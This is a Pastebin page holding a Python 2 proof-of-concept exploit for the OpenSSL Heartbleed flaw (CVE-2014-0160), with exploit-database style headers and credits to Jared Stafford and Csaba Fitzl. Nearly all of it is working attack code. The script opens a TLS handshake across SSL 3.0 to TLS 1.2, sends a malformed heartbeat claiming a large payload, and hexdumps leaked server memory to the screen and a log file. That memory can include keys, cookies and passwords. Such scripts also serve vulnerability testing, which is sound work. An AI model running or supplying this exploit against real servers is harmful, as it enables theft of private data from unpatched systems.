Advertisement
Guest User

heartbleed

a guest
Apr 19th, 2014
202
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.32 KB | None | 0 0
  1. # Exploit Title: [OpenSSL TLS Heartbeat Extension - Memory Disclosure - Multiple SSL/TLS versions]
  2. # Date: [2014-04-09]
  3. # Exploit Author: [Csaba Fitzl]
  4. # Vendor Homepage: [http://www.openssl.org/]
  5. # Software Link: [http://www.openssl.org/source/openssl-1.0.1f.tar.gz]
  6. # Version: [1.0.1f]
  7. # Tested on: [N/A]
  8. # CVE : [2014-0160]
  9.  
  10.  
  11. #!/usr/bin/env python
  12.  
  13. # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
  14. # The author disclaims copyright to this source code.
  15. # Modified by Csaba Fitzl for multiple SSL / TLS version support
  16.  
  17. import sys
  18. import struct
  19. import socket
  20. import time
  21. import select
  22. import re
  23. from optparse import OptionParser
  24.  
  25. options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
  26. options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
  27.  
  28. def h2bin(x):
  29.     return x.replace(' ', '').replace('\n', '').decode('hex')
  30.  
  31. version = []
  32. version.append(['SSL 3.0','03 00'])
  33. version.append(['TLS 1.0','03 01'])
  34. version.append(['TLS 1.1','03 02'])
  35. version.append(['TLS 1.2','03 03'])
  36.  
  37. def create_hello(version):
  38.     hello = h2bin('16 ' + version + ' 00 dc 01 00 00 d8 ' + version + ''' 53
  39. 43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
  40. bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
  41. 00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
  42. 00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
  43. c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
  44. c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
  45. c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
  46. c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
  47. 00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
  48. 03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
  49. 00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
  50. 00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
  51. 00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
  52. 00 0f 00 01 01
  53. ''')
  54.     return hello
  55.  
  56. def create_hb(version):
  57.     hb = h2bin('18 ' + version + ' 00 03 01 40 00')
  58.     return hb
  59.  
  60. def hexdump(s):
  61.     logf=open('logfile','a')
  62.     for b in xrange(0, len(s), 16):
  63.         lin = [c for c in s[b : b + 16]]
  64.         hxdat = ' '.join('%02X' % ord(c) for c in lin)
  65.         pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
  66.         print '  %04x: %-48s %s' % (b, hxdat, pdat)
  67.     logf.write('\n  %04x: %-48s %s' % (b, hxdat, pdat))
  68.     print
  69.  
  70. def recvall(s, length, timeout=5):
  71.     endtime = time.time() + timeout
  72.     rdata = ''
  73.     remain = length
  74.     while remain > 0:
  75.         rtime = endtime - time.time()
  76.         if rtime < 0:
  77.             return None
  78.         r, w, e = select.select([s], [], [], 5)
  79.         if s in r:
  80.             data = s.recv(remain)
  81.             # EOF?
  82.             if not data:
  83.                 return None
  84.             rdata += data
  85.             remain -= len(data)
  86.     return rdata
  87.  
  88.  
  89. def recvmsg(s):
  90.     hdr = recvall(s, 5)
  91.     if hdr is None:
  92.         print 'Unexpected EOF receiving record header - server closed connection'
  93.         return None, None, None
  94.     typ, ver, ln = struct.unpack('>BHH', hdr)
  95.     pay = recvall(s, ln, 10)
  96.     if pay is None:
  97.         print 'Unexpected EOF receiving record payload - server closed connection'
  98.         return None, None, None
  99.     print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
  100.     return typ, ver, pay
  101.  
  102. def hit_hb(s,hb):
  103.     s.send(hb)
  104.     while True:
  105.         typ, ver, pay = recvmsg(s)
  106.         if typ is None:
  107.             print 'No heartbeat response received, server likely not vulnerable'
  108.             return False
  109.  
  110.         if typ == 24:
  111.             print 'Received heartbeat response:'
  112.             hexdump(pay)
  113.             if len(pay) > 3:
  114.                 print 'WARNING: server returned more data than it should - server is vulnerable!'
  115.             else:
  116.                 print 'Server processed malformed heartbeat, but did not return any extra data.'
  117.             return True
  118.  
  119.         if typ == 21:
  120.             print 'Received alert:'
  121.             hexdump(pay)
  122.             print 'Server returned error, likely not vulnerable'
  123.             return False
  124.  
  125. def main():
  126.     opts, args = options.parse_args()
  127.     if len(args) < 1:
  128.         options.print_help()
  129.         return
  130.     for i in range(len(version)):
  131.         print 'Trying ' + version[i][0] + '...'
  132.         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  133.         print 'Connecting...'
  134.         sys.stdout.flush()
  135.         s.connect((args[0], opts.port))
  136.         print 'Sending Client Hello...'
  137.         sys.stdout.flush()
  138.         s.send(create_hello(version[i][1]))
  139.         print 'Waiting for Server Hello...'
  140.         sys.stdout.flush()
  141.         while True:
  142.             typ, ver, pay = recvmsg(s)
  143.             if typ == None:
  144.                 print 'Server closed connection without sending Server Hello.'
  145.                 return
  146.             # Look for server hello done message.
  147.             if typ == 22 and ord(pay[0]) == 0x0E:
  148.                 break
  149.  
  150.         print 'Sending heartbeat request...'
  151.         sys.stdout.flush()
  152.         s.send(create_hb(version[i][1]))
  153.         if hit_hb(s,create_hb(version[i][1])):
  154.             #Stop if vulnerable
  155.             break
  156.  
  157. if __name__ == '__main__':
  158.     main()
  159.  
  160. # 2A2AA0789BA9D599   1337day.com [2014-04-19]   B9C546E8726A004D #
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement